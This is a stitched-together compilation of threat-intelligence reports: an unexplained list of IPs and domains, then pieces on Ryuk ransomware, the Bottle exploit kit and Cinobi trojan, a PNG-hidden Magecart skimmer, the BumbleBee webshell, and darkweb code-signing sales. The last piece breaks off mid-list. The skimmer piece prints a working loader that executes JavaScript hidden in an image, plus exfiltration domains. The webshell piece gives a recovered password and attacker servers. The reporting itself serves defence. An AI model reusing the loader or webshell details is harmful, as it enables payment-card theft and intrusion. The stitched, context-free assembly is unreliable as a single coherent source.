104.232.35.136 - 104.250.153.57 - 107.181.246.211 - 107.181.250.221 - 108.61.57.43 - 128.177.144.59 - 144.168.45.128 - 151.80.8.10 - 162.212.105.78 - 172.28.202.31 - 184.22.81.68 - 185.29.9.28 - 185.86.149.115 - 185.86.149.60 - 186.106.120.113 - 190.82.81.132 - 194.146.180.58 - 195.154.43.52 - 198.23.210.156 - 207.182.98.21 - 208.167.254.234 - 209.51.131.190 - 216.155.131.74 - 216.170.116.120 - 220.130.157.99 - 23.227.196.99 - 23.249.164.109 - 31.131.17.128 - 45.63.23.135 - 45.63.96.216 - 5.45.179.185 - 5.45.192.117 - 51.254.95.100 - 51.254.95.99 - 59.55.142.171 - 60.228.38.213/login.aspx - 66.232.124.175 - 71.63.154.49 - 72.233.55.10 - 74.125.39.18 - 80.83.118.240 - 80.83.118.245 - 82.163.78.188 - 83.183.76.156 - 85.186.125.217 - 86.55.7.54 - 87.236.210.109 - 87.236.210.116 - 87.98.153.34 - 91.207.60.68 - 94.140.120.133 - 95.215.44.136 - 95.215.45.228 - 95.215.45.64 - 95.215.45.69 - 95.215.45.90 - 95.215.45.98 - 95.215.46.2 - 95.215.46.32 - 95.215.46.76 - 95.85.12.179 - 98.129.249.174 - clients14-google.com - mail.clients12-google.com - ns1.stats1-google.com - ns2.stats1-google.com - wambiri.net/login.aspx
# MTR in Real Time: Pirates pave way for Ryuk ransomware **Tilly Travers** **May 6, 2021** Sophos’ Rapid Response team was recently brought in to contain and neutralize an attack involving Ryuk ransomware. The target was a life sciences research institute that has close partnerships with local universities and works with students on various programs. The Ryuk attack cost the institute a week’s worth of vital research data, because although it had backups, they were not fully up to date. There was further operational impact when all computer and server files needed to be rebuilt from the ground up before the data could be restored. Perhaps the hardest lesson of all, however, was discovering that the attack and its impact could have been avoided with a less trusting and more robust approach to network access. After a cyber-incident has been contained, the Rapid Response team uses the logs and historical data available to retrace the steps taken by the attackers and the tools and techniques used at every stage. In this instance, the responders found that the adversaries had gained domain access and used that to deploy the Ryuk ransomware through a series of scheduled tasks. It was only when they went all the way back to the point of initial access that they realized it led them out of the corporate network to a single human mistake and security misjudgement. Human error can happen in any organization; the reason the mistake was able to progress to a fully-fledged attack was because the institute didn’t have the protection in place to contain the error. At the heart of this was its approach to letting people outside the organization access the network. Students working with the institute use their personal computers to access the institute’s network. They can connect into the network via remote Citrix sessions without the need for two-factor authentication. The institute was exposed the moment one of these external university students apparently decided they wanted a personal copy of a data visualization software tool they were already using for work. A single user license was likely to cost them hundreds of dollars a year, so they posted a question on an online research forum asking if anyone knew of a free alternative (the Rapid Response team know this because the student handed over their laptop for analysis once the full extent of the incident became clear). When the student couldn’t find a suitable free version, they searched for a “Crack” version instead. They found what appeared to be one and tried to install it. However, the file was in fact pure malware and the installation attempt immediately triggered a security alert from Windows Defender. The user disabled Windows Defender – and at the same time appears to have also disabled their firewall – and tried again. This time it worked. However, instead of a cracked copy of the visualization tool they were after, the student got a malicious info-stealer that, once installed, began logging keystrokes, stealing browser cookies, clipboard data, and more. Somewhere along the way it apparently also found the student’s access credentials for the institute’s network. Thirteen days later a remote desktop protocol (RDP) connection was registered on the institute’s network using the student’s credentials. It came from a computer named “Totoro,” possibly after the anime character. A feature of RDP is that a connection also triggers the automatic installation of a printer driver, enabling users to print documents remotely. This allowed the Rapid Response investigation team to see that the registered RDP connection involved a Russian language printer driver and was likely to be a rogue connection. Ten days after this connection was made the Ryuk ransomware was launched. “It is unlikely that the operators behind the ‘pirated software’ malware are the same as the ones who launched the Ryuk attack,” said Peter Mackenzie, manager of Rapid Response at Sophos. “The underground market for previously compromised networks offering attackers easy initial access is thriving, so we believe that the malware operators sold their access on to another attacker. The RDP connection could have been the access brokers testing their access. “Incident investigations are crucial because they allow us to see how an attack unfolded and help targets to understand and address security gaps for the future. In this case, the implementation of robust network authentication and access controls, combined with end-user education might have prevented this attack from happening. It serves as a powerful reminder of how important it is to get the security basics right.” ## Recommendations Sophos recommends taking the following actions to help defend against network access abuse: 1. Enable multi-factor authentication (MFA), where possible, for anyone required to access internal networks, including external collaborators and partners. 2. Have a strong password policy in place for everyone required to access internal networks. 3. Decommission and/or upgrade any unsupported operating systems and applications. 4. Review and install security software on all computers. 5. Regularly review and install the latest software patches on all computers – and check they’ve been installed correctly. 6. Review the use of proxy servers and regularly check security policies to prevent access to malicious websites and/or the downloading of malicious files by anyone on the network. 7. Lock down remote desktop RDP access with static Local Area Network (LAN) rules, via a group policy or using access control lists. 8. Implement segregation for any network access, including for LANs (or consider using virtual LANs) and where necessary use hardware/software/access control lists. 9. Continuously review domain accounts and computers, removing any that are unused or not needed. 10. Review firewall configurations and only whitelist traffic intended for known destinations. 11. Limit the use of admin accounts by different users as this encourages credential sharing that can introduce many other security vulnerabilities. If you are facing an active threat and need immediate assistance, please contact Sophos Rapid Response for support. Special thanks to Bill Kearney, Kyle Link, Peter Mackenzie, and Matthew Sharf for responding to and investigating this incident.
# Operation Overtrap Targets Japanese Online Banking Users ## Technical Brief By Jaromir Horejsi and Joseph C. Chen (Threat Researchers) We recently discovered a new campaign that we dubbed “Operation Overtrap” for the numerous ways it can infect or trap victims with its payload. The campaign mainly targets online users of various Japanese banks by stealing their banking credentials using a three-pronged attack. Based on our telemetry, Operation Overtrap has been active since April 2019 and has been solely targeting online banking users located in Japan. Our analysis shows that this campaign uses three different attack vectors to steal its victims’ banking credentials: - By sending spam emails with a phishing link to a page disguised as a banking website. - By sending spam emails asking victims to execute a disguised malware’s executable downloaded from a linked phishing page. - By using a custom exploit kit to deliver malware via malvertising. ## Technical Analysis ### Discovering Operation Overtrap We first discovered the campaign in September 2019 using a then-unidentified exploit kit. Based on our data, Operation Overtrap has been using spam emails to deliver its payload to victims as early as April 2019. In mid-September, we observed a significant number of victims being redirected to the exploit kit, which targeted Internet Explorer, after they clicked on links from social media platforms. It should be noted, however, that the way the victims received the links has not been identified. It is also worth mentioning that Operation Overtrap only seems to target Japanese online banking users; it redirects victims with different geolocations to a fake online shop. Our analysis revealed that the exploit kit only dropped a clean binary that does not perform malicious activities on a victim’s device. It also immediately closes after infection. It is still unclear why the threat actors behind Operation Overtrap initially delivered a clean binary file; it’s possible that they were testing their custom exploit kit during this stage of the campaign’s development. ### Operation Overtrap’s Custom Exploit Kit: Bottle Exploit Kit On September 29, 2019, we observed that the exploit kit ceased to drop a clean file and instead delivered a brand-new banking trojan that we dubbed “Cinobi.” We also noted that the threat actors behind Operation Overtrap have stopped redirecting victims from social media and began to use a Japan-targeted malvertising campaign to push their custom exploit kit. Another researcher later discovered the custom exploit kit, which was named the Bottle Exploit Kit (BottleEK). It exploits CVE-2018-15982, a Flash Player use after free vulnerability, as well as CVE-2018-8174, a VBScript remote code execution vulnerability. Victims will be infected with BottleEK’s payload if they access this particular exploit kit’s landing page with unpatched or outdated browsers. Our telemetry shows that BottleEK was the most active exploit kit detected in Japan in February 2020. BottleEK performs the following steps during the compromise of an infected machine: 1. Check if the browser cookie “username” has been set. If it’s set, it will not perform any action. Otherwise, it will set a “username” cookie with the value “bingv” and continue the infection. This step aims to filter out victims who have been previously attacked to prevent a double infection. 2. Check if the browser is Internet Explorer and if the browser language is set to Japanese. If not, it will stop the infection. 3. Check the version of Internet Explorer, Adobe Flash Player, and the architecture of the infected machine. It then sends the gathered information with an Ajax request to the exploit kit hosting server in this format: “/conn.php?callback=?data1={Internet Explorer version}&data2={64 bits or 32 bits architecture}&data3={Adobe Flash Player version}”. 4. Based on the information received by the exploit kit server, it will return the location of different exploit codes and instruct the browser to load them accordingly. The exploits used by BottleEK include CVE-2018-15982, an Adobe Flash exploit, and CVE-2018-8174, a VBScript engine exploit. 5. After successful exploitation, it will load the malware from the URL “/conn[.]php?ge=1” and execute it. It is worth noting that if the cookie “username” set during the first step is not present during the request to load the exploit, the exploit kit server will return an empty response. This is an anti-crawl feature that prevents web crawlers from directly grabbing the campaign’s payloads. An analysis of the shellcodes embedded and executed by the exploits reveals the use of Metasploit encoders. In the case of 32-bit shellcode, we observed the use of the Shikata Ga Nai encoder. Meanwhile, the 64-bit shellcode uses XOR dynamic encoder. ### Brand-new banking malware: Cinobi Operation Overtrap used a new banking malware we’ve decided to call Cinobi. Based on our analysis, Cinobi has two versions — the first one has a DLL library injection payload that compromises victims’ web browsers to perform form-grabbing. This Cinobi version can also modify web traffic sent to and received from targeted websites. Our investigation found that all the websites that this campaign targeted were those of Japan-based banks. Aside from form-grabbing, it also has a web inject function that allows cybercriminals the ability to modify accessed webpages. The second version has all the capabilities of the first one plus the ability to communicate with a command-and-control (C&C) server over the Tor proxy. ### Cinobi’s four stages of infection Each of Cinobi’s four stages contains an encrypted position-independent shellcode that makes analysis slightly more complicated. Each stage is downloaded from a C&C server after certain conditions have been met. **First stage** The first stage of Cinobi’s infection chain starts by calling the “GetUserDefaultUILanguages” function to check if the infected device’s local settings are set to Japanese. Cinobi will then download legitimate unzip.exe and Tor applications from specific locations. After extracting the Tor archive into the “\AppData\LocalLow\” directory, Cinobi will rename tor.exe to taskhost.exe and execute it. It will also run tor.exe with custom torrc file settings. It will download the second stage of the malware payload from a .onion C&C address and save it in a randomly named .DLL file within the “\AppData\LocalLow\” folder. The filename of the first stage downloader is saved into a .JPG file with a random name. **Second stage** Cinobi will connect to its C&C server to download and decrypt the file for the third stage of its infection chain. We observed that the filename of the third stage starts with the letter C, followed by random characters. Afterward, it will download and decrypt the file for the fourth stage, which has a filename that starts with the letter A, followed by random characters. After these, Cinobi will download and decrypt a config file that contains a new C&C address. Cinobi uses RC4 encryption with a hardcoded key. Next, Cinobi will run the downloaded third stage infection file using the UAC bypass method via the CMSTPLUA COM interface. **Third stage** During the third infection stage, Cinobi will copy malware files from “\AppData\LocalLow\” to the “%PUBLIC%” folder. It will then install the fourth stage of the downloader as Winsock Layered Service Provider (WSCInstallProviderAndChains). Cinobi will then perform several actions, including changing spooler service config to “SERVICE_AUTO_START” and disabling various services. **Fourth stage** Cinobi will call the WSCEnumProtocols function to retrieve information about available transport protocols. It will also call the WSCGetProviderPath function to retrieve the DLL path of the original transport provider. This function is called twice. The first call will return the malicious provider, while the second call will return the original transport provider and resolve and call its WSPStartup function. Cinobi will then check the name of the process in which the malicious DLL provider gets injected. Cinobi banker’s functionality depends on the process in which it has been loaded: | Process Name | Functionalities | |-------------------|--------------------------------------------------------------------------------| | chrome.exe | Hooks Chrome APIs handling SSL functionality | | firefox.exe | Hooks APIs (nss3.dll, nspr4.dll; PR_OpenTCPSocket, PR_Close, PR_Read, PR_Write, PR_GetNameForIdentity, PR_SetError) | | iexplore.exe | Hooks Internet Explorer APIs handling SSL functionality | | lsass.exe | Same functionalities as spoolsv.exe, except that it doesn’t write default config files and disable wuauserv | | spoolsv.exe | Creates a thread that writes a .cfg file containing an environment hash (unique identifier of victim machine) and modifies various settings | Cinobi exits if it is injected into any of the following antivirus processes: ahnlab, avast, avg, avira, bitdefender, comodo, doctor web, drweb, Fortinet, f-secure, g data, Kaspersky, mcafee, norton, smartscreen.exe, sophos, trend, windows defender. ### Cinobi’s Dropped Configuration Files Cinobi drops various configuration files while running through all four stages of infection. All these files have different extensions and are encrypted with the same hardcoded RC4 key. We have decrypted the configuration files and analyzed them below: - `<random_name>.bmp` contains a list of targeted financial institutions. - `<random_name>.cfg` contains an environment hash, which is a unique identifier for a victim machine. - `<random_name>.png` contains web injects. - `<random_name>.txt` contains a list of C&C servers. - `<random_name>.wmv` contains a link for downloading an older Google Chrome version (Chrome 53). ### Running Cinobi Banking Trojan To fully analyze the Cinobi banking Trojan, we ran it on a testing machine. In order to run Cinobi, the machine’s system must be set to Japanese locale or, to bypass the locale check, patch the downloader from the first stage of the infection. ### Testing Web Injects Even though web injects were not used in this campaign, we tested the web injects by running a simple webserver with a website containing the keyword “opqrst.” According to the dropped configuration settings, “opqrst” should be appended with the keyword “aaaaaaa.” ### Testing the Form-Grabbing Feature To test Cinobi’s form-grabbing feature, we loaded a website belonging to one of the targeted financial institutions and attempted to input data into one of its HTML forms. Soon after, we observed the creation of a randomly named .txt file with content that was encrypted with the same RC4 password as the other configuration files. After decrypting the .txt file, it revealed the decrypted HTTPS request. ### Connections to Previous Phishing Attacks Although we have identified that the Cinobi banking trojan is mainly being dropped by the Bottle exploit kit, we have also observed similar samples being distributed in the wild since April 2019. These samples look almost similar to the Cinobi banking trojan but without the ability to download, install, and communicate over the Tor proxy. We suspect that these samples were the earlier version of Cinobi (marked as Cinobi V1) and the one with the Tor functionality we received from BottleEK is the second version (marked as Cinobi V2). Another connection relates to the domain used by Cinobi V1’s C&C server (cionx[.]inteleksys[.]com), which has the same base domain as the server of Bottle exploit kit (sales[.]inteleksys[.]com). We noticed that the campaign reuses the domain inteleksys[.]com but uses different subdomains. It is worth noting that the domain was used to host a legitimate website, but after its registration expired, cybercriminals re-registered it and started using it for malicious purposes. During the investigation of Cinobi V1, we found that the malware was not distributed via exploit kit but was distributed with a phishing page sent via spam email. The phishing page was disguised as an office bank website asking victims to install a new certificate to enhance security measures. However, the link to the certificate file is Cinobi V1’s loader. The Cinobi V1 phishing page could also be found via several domains that use typosquatting techniques to fool internet users who mistype domains belonging to legitimate Japanese banks. ### Best Practices Against Spam and Vulnerabilities Operation Overtrap uses a variety of attack vectors to steal banking credentials. Users and organizations need to adopt best practices to ensure that their systems are protected against messaging-related threats as well as falling prey to malicious advertisements. An example of a best practice an organization must have is having a central point for reporting suspicious emails. Organizations, through their IT teams, need to have a centralized information gathering system. For this to be effective, all employees must be aware of the reporting procedure for suspicious emails. Meanwhile, to avoid malicious advertisements, users should be wary of clicking suspicious links or pop-ups and make sure to actively update software via official channels only. Organizations will greatly benefit from regularly updating systems (or use virtual patching for legacy systems) to prevent attackers from taking advantage of security gaps. Additional security mechanisms like enabling firewalls and intrusion detection and prevention systems will help thwart suspicious network activities that may indicate red flags like data exfiltration or C&C communication. ### Trend Micro Solutions Organizations can consider Trend Micro™ endpoint solutions such as Trend Micro Smart Protection Suites and Worry-Free™ Business Security. Both solutions can protect users and businesses from threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs. Trend Micro Deep Discovery™ has an email inspection layer that can protect enterprises by detecting malicious attachments and URLs. Trend Micro™ Hosted Email Security is a no-maintenance cloud solution that delivers continuously updated protection that stops spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network. It protects Microsoft Exchange, Microsoft Office 365, Google Apps, and other hosted and on-premises email solutions. For defending against malvertising campaigns in general, users can employ Trend Micro™ Maximum Security, which protects consumers via a multi-layered defense that delivers highly effective and efficient protection against ever-evolving threats. Trend Micro™ Smart Protection Suites also protect businesses against these types of threats by providing threat protection techniques designed to eliminate security gaps across multiple users and endpoints. ### MITRE Att&ck Matrix Indicators of Compromise (IoCs) | SHA-256 | Detection Name | Filename | |------------------------------------------------------------------------|---------------------------------------------------------|---------------------------| | 7f505a1064ea09daba577aa553efbf3385c890ab5aac2ace6ef3e927f480fb87 | Trojan.VBS.CVE20188174.AMT | vbs.vbs | | 96e91a1f656fb70339f8f4e383e7f967d25c1a414f436ddffc692518ace579ad | Trojan.SWF.CVE201815982.AK | swf.swf | | 01bf58c650b6ba30733c14026fcff4ecfc24becdd05637a84ef2a7e86aff3fe0 | TrojanSpy.Win32.CINOBI.A | EVSSL.exe | | ed7b5c16cb5c4f56b3ded279688b693ec52389cacc0b81e940b0591b7f68aa84 | TrojanSpy.Win32.CINOBI.A | N/A | | 914eb64b93cbb631c710ef6cbd0f9cedf93415be421ccc6e285b288b87f3a246 | TrojanSpy.Win32.CINOBI.A | N/A | | c1b67a30119107365c4a311479794e07afb631980a649749501cb9f511fb0ab4 | TrojanSpy.Win32.CINOBI.A | N/A | | a9ea7e952ce38bf8bc14114325ca2a1bfed16f63798028565a669808b8b728dc | TrojanSpy.Win32.CINOBI.A | N/A | | 14842334ac730f417f2730dec9898491575341da3721584a49d44fbf02f1fa6a | TrojanSpy.Win32.CINOBI.A | foepcyof.dll | | b1d30ee17a4d1fae263ea0ca696765d2f48b727c9953009c079ed2cb3ee15ab9 | TrojanSpy.Win32.CINOBI.A | C foepcyof.dll | | db1e379c66c41debf58062e0865527a8a5bd7b37b5f43e06c80540a47ac7f5a4 | TrojanSpy.Win32.CINOBI.A | A foepcyof.dll | | Domain | Description | |------------------------------------------------------------------------|---------------------------------------------------------| | shop[.]inteleksys[.]com | Bottle exploit kit domain | | view[.]inteleksys[.]com | | | priv[.]inteleksys[.]com | | | sales[.]inteleksys[.]com | | | xizr[.]inteleksys[.]com | | | byte[.]inteleksys[.]com | | | cionx[.]inteleksys[.]com | Cinobi V1 C&C domain | | 5frjkvw2w3wv6dnv[.]onion | Cinobi V2 C&C Tor domain | | 4w6ylniamu6x7e3a[.]onion | | | bank-japanpostpo[.]jp | Phishing domain delivering Cinobi V1 | | bank-japanpost[.]com | | | bank-japanposst[.]jp | | | jp-bank-japanossts[.]jp | | | jp-bamk[.]jp | | | japanp0st[.]jp | | | ts3cardd[.]com | Phishing domain linked to Operation Overtrap | | security-amazon[.]jp | | | safety-amazon[.]jp | | | safetb-amazon[.]jp | | Trend Micro, a global leader in cybersecurity, helps to make the world safe for exchanging digital information. Trend Micro Research is powered by experts who are passionate about discovering new threats, sharing key insights, and supporting efforts to stop cybercriminals. Our global team helps identify millions of threats daily, leads the industry in vulnerability disclosures, and publishes innovative research on new threats techniques. We continually work to anticipate new threats and deliver thought-provoking research.
# Skimmers in Images: GitHub Repos **Denis Sinegubko** *July 22, 2020* MalwareBytes recently shared some information about web skimmers that store malicious code inside real .ico files. During a routine investigation, we detected a similar issue. Instead of targeting .ico files, however, attackers chose to inject content into real .png files — both on compromised sites and in booby-trapped Magento repos on GitHub. Our security analyst Keith Petkus found this piece of malware injected on a compromised Magento 2.x site. ```javascript <script>...i();async function i() {let x92 = await fetch('/pub/media/wysiwyg/m2themes/googletagmanager.png');if (x92.ok) {let x = await x92.text();var F = new Function (x.slice(-34905));return(F());}}</script> ``` This code was found appended to real Google Tag Manager code, so seeing a reference to googletagmanager.png might not spark suspicion at first glance. Moreover, it’s a valid .png image from the same site. ## JavaScript Inside .png Nonetheless, the code is not typical for Google Tag Manager. If you inspect it closely, you’ll notice that it loads contents of the image file and then executes part of it (x.slice(-34905)) as a JavaScript function. If we check the contents of googletagmanager.png, it appears to be a regular binary .png file, including proper PNG file signatures and chunk marks such as IHDR and IEND. However, after the end of the last chunk (IEND), we can see JavaScript code. This code is ignored by image viewers, but you can access it if you work with the .png file as if it was a regular text file. In our case, the malware extracts the last 34,905 bytes of the file. ## Skimmer Code After deobfuscation, a typical Magecart skimmer code is revealed containing modifications that prevent someone from seeing the exfiltration gate right away. ### Tell Tale Skimmer Parameters The following code is responsible for computing the URL of the gate. What we see here is the malware which attempts to load mage.png file from a GitHub repository (hxxps://raw.githubusercontent[.]com/mag202/magento/master/pub/media/downloadable/mage.png), then conduct some operations with chunks of its contents. Indeed, at https://github.com/mag202/magento we find a repository of a beta version of Magento 2.4 created by the user mag202 on April 4, 2020. Unsurprisingly, we found the suspected magento/pub/media/downloadable/mage.png file within the repo. A quick lookup in the official Magento repository reveals that this directory shouldn’t contain this mage.png file. In fact, it doesn’t have any image files at all. When checking the raw contents of this file, we find this encrypted text at the very bottom after the IEND signature. Since we have the actual JavaScript code that decrypts it, we retrieved this exfiltration gate URL: “hxxps://fontsgoogle-apis[.]com/v14/“. ## Commit History One cool feature of version control systems is that they keep track of all repository modifications. This mag202/magento repository on GitHub also has a public commit history. The commit history basically consists of a series of uploads and deletions for the malicious mage.png file. The hacker modifies the appended malicious code in these files and uploads new versions either in pub/media/downloadable/mage.png or app/design/frontend/Magento/luma/media/mage.png. All historical versions of these files are also available on GitHub. For example, the version from April 10 of magento/app/design/frontend/Magento/luma/media/mage.png contained the following code appended at the end. At this point, it was real JavaScript code rather than just encrypted text. The purpose of this code was the same, however — to hide the exfiltration details and allow the attacker to update it through GitHub at their convenience. After its execution, we get the exfiltration URL: hxxps://googletag-manager[.]com/gtag/GTM-P75S9/. This is the same URL found in images loaded by similar skimmer malware. - Nov 4, 2019: googletag-manager[.]com was registered. - May 2nd, 2020: fontsgoogle-apis[.]com (used by the latest version of the malware) is registered. It is hosted on the server with IP 8.209.99.41. This same server also hosts the soon-to-be-expired domain gstatlcs[.]com, which was registered on July 23rd, 2019. ## Conclusion Web skimmer operators are always actively searching for new methods to prevent detection of their malware on compromised websites. This time, we found them combining four popular tricks to conceal their malicious code: 1. Including requests to usually benign static content (e.g. stylesheets or images) that are normally less scrutinized in traffic monitoring or static file analysis. 2. Planting malicious code inside real images. 3. Hosting malicious files on popular legitimate websites such as GitHub. 4. Using misleading variable names, filenames, and domains to make people believe they belong to a reputable popular service (in this case, Google Tag Manager). While this approach may make it more difficult to spot the malware for third-party researchers, webmasters who implement integrity control checks or website monitoring services should be able to detect addition of new files to the system or changes in existing files.
# xHunt Campaign: New BumbleBee Webshell and SSH Tunnels Used for Lateral Movement **By Robert Falcone** **January 11, 2021** ## Executive Summary In September 2020, we began investigating a Microsoft Exchange server at a Kuwaiti organization that a threat group compromised as part of a continued xHunt campaign. This investigation resulted in the discovery of two new backdoors called TriFive and Snugy, as well as a new webshell that we call BumbleBee. We use this name because the color scheme of the BumbleBee webshell includes white, black, and yellow. The actor used the BumbleBee webshell to upload and download files to and from the compromised Exchange server, but more importantly, to run commands that the actor used to discover additional systems and to move laterally to other servers on the network. We found BumbleBee hosted on an internal Internet Information Services (IIS) web server on the same network as the compromised Exchange server, as well as on two internal IIS web servers at two other Kuwaiti organizations. We still do not know the initial infection vector used to compromise the Exchange server, as this appears to have occurred prior to the logs we were able to collect. We observed the actor interacting directly with the BumbleBee webshell on the compromised Exchange server, as this server was accessible from the internet. The actor used Virtual Private Networks (VPNs) provided by Private Internet Access when directly accessing BumbleBee on internet-accessible servers. The actor frequently switched between different VPN servers to change the external IP address of the activity that the server would store in the logs. Specifically, the actor changed the IP address to appear to be from different countries, including Belgium, Germany, Ireland, Italy, Luxembourg, the Netherlands, Poland, Portugal, Sweden, and the United Kingdom. This is an attempt to evade detection and make analysis of the malicious activities more difficult. In addition to using VPNs, the actor used SSH tunnels to interact with BumbleBee webshells hosted on internal IIS web servers that are not accessible directly from the internet at all three Kuwaiti organizations. The commands executed on the servers via BumbleBee suggest that the actor used the PuTTY Link (Plink) tool to create SSH tunnels to access services internal to the compromised network. Palo Alto Networks Next-Generation Firewall customers are protected from these xHunt-related attacks with Threat Prevention, URL Filtering, and DNS Security subscriptions. ## BumbleBee Webshell The threat group involved in the xHunt campaign compromised an Exchange server at a Kuwaiti organization and installed a webshell that we call BumbleBee. BumbleBee allows an attacker to execute commands and upload and download files to and from the server. It requires an actor to supply one password to view the webshell and a second password to interact with it. To view the BumbleBee webshell, the actor must provide a password in a URL parameter named parameter. The webshell generates an MD5 hash of the parameter value and checks it with a hardcoded MD5 hash. Once displayed, BumbleBee provides the actor three main functionalities: 1. Executing commands via `cmd /c` 2. Uploading files to the server to a specified folder (c:\windows\temp by default). 3. Downloading files from the server. To carry out any of these functions, the actor must supply a second password. The MD5 hash checked prior to carrying out the actor’s desired actions was 36252C6C2F616C5664A54058F33EF463, but we were unable to determine the string form of this password. While carrying out our analysis, we found a second BumbleBee webshell that contained different MD5 hashes for viewing the webshell and executing commands. We determined that the hash of A2B4D934D394B54672EA10CA8A65C198 was for the password TshuYoOARg3fndI, but we were unable to determine the string for the second hash. ## Interactions With Compromised Microsoft Exchange Server To determine the actor’s activities regarding the compromised Exchange server of a Kuwaiti organization, we collected IIS server logs from the Exchange server and the logs generated for the system by Cortex XDR. Within the IIS logs, we observed the HTTP POST requests generated when the actor issued commands via the BumbleBee webshell installed on the compromised Exchange server. Unfortunately, the compromised Exchange server cannot log the data within the POST requests, so while we know how many commands were issued from these logs, we do not know the actual commands that the actor executed. Using the IIS logs we were able to collect from the compromised Exchange server, we were able to put together a timeline of the actor’s activity, including interactions with the BumbleBee webshell. The actor logged into the Exchange server via Outlook Web App using compromised credentials. The actor used the search functionality within Outlook Web App to search for email addresses, including searching for the domain name of the compromised Kuwaiti organization to get a full list of email addresses, as well as specific keywords, such as helpdesk. In regard to the BumbleBee webshell activity, the important pieces of information in the IIS logs used to generate a timeline were: - Timestamp of the HTTP requests. - Actor’s IP address. - User-agent in HTTP request provides the actor’s operating system and browser version. - ClientId in the URL parameters is a unique identifier for the client provided by the Exchange server via a server-side cookie. ## Commands Executed via BumbleBee As we previously mentioned, the compromised Exchange server of a Kuwaiti organization does not log the POST data within the IIS logs, so we were unable to extract the commands run on the BumbleBee webshell. However, we used overlapping timestamps to correlate the activity in the IIS logs with the command prompt activity seen in Cortex XDR logs to determine the commands executed on the server. Based on the Cortex XDR logs, the actor spent three hours and 37 minutes on Sept. 16, 2020, running commands via the BumbleBee webshell installed on the compromised Exchange server. The commands show the actor: 1. Performing network discovery (T1018) using ping and net group commands, as well as PowerShell (T1059.001), to find additional computers on the network. 2. Performing account discovery (T1087) using the whoami and quser commands. 3. Determining the system time (T1124) using the W32tm and time commands. 4. Creating an SSH tunnel (T1572) using Plink (RTQ.exe) to a remote host. 5. Using RDP (T1021.001) over the SSH tunnel to control the compromised computer. 6. Laterally moving (T1570) to another system by mounting a shared folder, copying Plink (RTQ.exe) to a remote system, and using Windows Management Instrumentation (WMI) (T1047) to create an SSH tunnel for RDP access. 7. Removing evidence of their presence by deleting (T1070.004) BumbleBee after they were done issuing commands. The actor creates these SSH tunnels to connect to non-internet accessible RDP services on the Windows system, specifically to use RDP to interact with the compromised system and to use Graphical User Interface (GUI) applications. In addition to analyzing commands executed on the compromised Exchange server, we also analyzed the commands executed on the BumbleBee webshell at an internal IIS web server hosted at one of the two other Kuwaiti organizations. ## File Uploader and SSH Tunnels During our research, we found a second BumbleBee webshell that was hosted on an internal IIS web server at the initial Kuwaiti organization, as well as on internal IIS web servers at two other Kuwaiti organizations. This BumbleBee webshell required the actor to include the password TshuYoOARg3fndI within a URL parameter. By analyzing artifacts on the internal IIS web server, we determined that on July 16, 2020, the actor ran similar commands to create SSH tunnels using Plink. We believe the actor used these SSH tunnels to gain access to web servers on other internal networks with hopes of finding similar file uploading functionality on those servers. ## Related xHunt Infrastructure The inbound requests to the BumbleBee webshell hosted on the compromised Exchange server did not provide any decent pivot points to other xHunt infrastructure, as all the external IP addresses were of VPN servers the actor used when interacting with the webshell. Fortunately, we were able to extract known xHunt infrastructure used as the remote servers for the SSH tunnels that the actor created to access systems via RDP and internal web services. The three external servers used for the SSH tunnels were 192.119.110[.]194, 142.11.211[.]79, and 91.92.109[.]59. ## Conclusion The xHunt campaign continues as the actor installed a webshell we call BumbleBee on a compromised Exchange server of a Kuwaiti organization. The actor used BumbleBee to run commands on the compromised servers at the three Kuwaiti organizations, including commands to discover user accounts and other systems on the network, as well as commands to move laterally to other systems on the network. The actor used the same username and password for the SSH tunnels that we observed within the cheat sheet included in the Sakabota tool. The external servers used by the actor for the SSH tunnels were seen in activity at two of the three Kuwaiti organizations, which suggests this actor reuses infrastructure when interacting with multiple target networks. From this analysis, we determined that the actor prefers to use VPNs provided by Private Internet Access when interacting directly with the targeted networks to conceal their true location. The attempts to conceal their location and the focus on viewing emails that might notify administrators of the compromised network of the attacker’s presence may explain how the actor was able to maintain a presence on the compromised network for many months.
# Story of the Week: Code Signing Certificate on the Darkweb **Hyunmin Suh** **May 17, 2021** **Co-Authors: Denise Dasom Kim, Jungyeon Lim, YH Jeong | S2W LAB Talon** ## Executive Summary Code signing certificates have been used since the Stuxnet incident (2011). Malware using code signing certificates is classified as highly reliable software and is less likely to be detected by antivirus (AV) systems. Attackers prefer code-signed certificates as most current Internet and security systems are oriented toward trust and reputation-dependent models. Code signing certificates began to be sold on the dark web around 2015 to 2016, primarily on Russian-speaking forums. Recently, code-signed certificates have been sold by various sellers on these forums, with prices ranging from $400 to $3500 depending on the grade of the certificate. It is important to consider that the active criminal ecosystem is due to sellers constantly supplying certificates of legitimate companies. This indicates a lack of security awareness and negligence in management by companies and developers, which has led to the hacking of code signing certificate processing servers. Many people regard the issues surrounding code signing certificates as old news; however, attackers remain interested in code signing certificate servers, which are still being traded on the dark web or via hidden channels. ## Code Signing vs SSL Certificate The main difference between an SSL certificate and a code signing certificate is whether you own a website or publish downloadable software, applications, etc. ### Code Signing vs Code Signing EV The code signing EV (Extended Validation) certificates differ from general code signing certificates in that the private key is stored in a separate hardware token. The most noticeable difference when running the software is that the Windows Smart Screen Filter warning does not appear when using EV code signing certificates. Many cybercriminals use code-signed certificates to increase the success rate of attacks when creating malware. However, the certificate cannot be issued by anyone; it requires submitting documents such as a business registration certificate and tax payment certificate to authorities and going through an examination process. Therefore, attackers either steal code signing certificates by compromising legitimate companies’ certification servers or purchase them from dark web sellers. ## Code Signing Certificate Sellers on the Dark Web As seen from various forums, users have been active for at least 2 months to 7 years, indicating that code signing certificates are a popular product on the dark web. ### Seller’s Posts in Exploit[.]iN Forum **Megatraffer** Digital certificates for sale, from the oldest and most trusted service! - Regular (non-EV) code signing certificates - $700 - EV code signing certificates - $3500 - All certificates valid for 1 year, can also be made for 2 years **Benefits of EV Code Signing Certificates:** - Removes SmartScreen blue windows immediately - Maximum level of trust by AVs - EV certificate is a 'must have' if you want to sign drivers for Windows 10 ### Seller’s Posts in XSS[.]IS Forum **Firefox** There is a ready-made C**** Code Signing certificate (standard), made for sale, released on 04/15/2019, valid for 1 year. **Price:** $350 In the future, I am considering manufacturing the entire range of certificates from C***, both ready-made and to order. ### Seller’s Posts in Telegram **SamCodeSign** ⚡⚡⚡Certificates in stock⚡⚡⚡ 1) Type: EV Code Signing - Status: New - Term: 1 year - Price: $3300 2) Type: EV Code Signing - Status: New - Term: 1 year - Price: $3600 3) Type: EV Code Signing 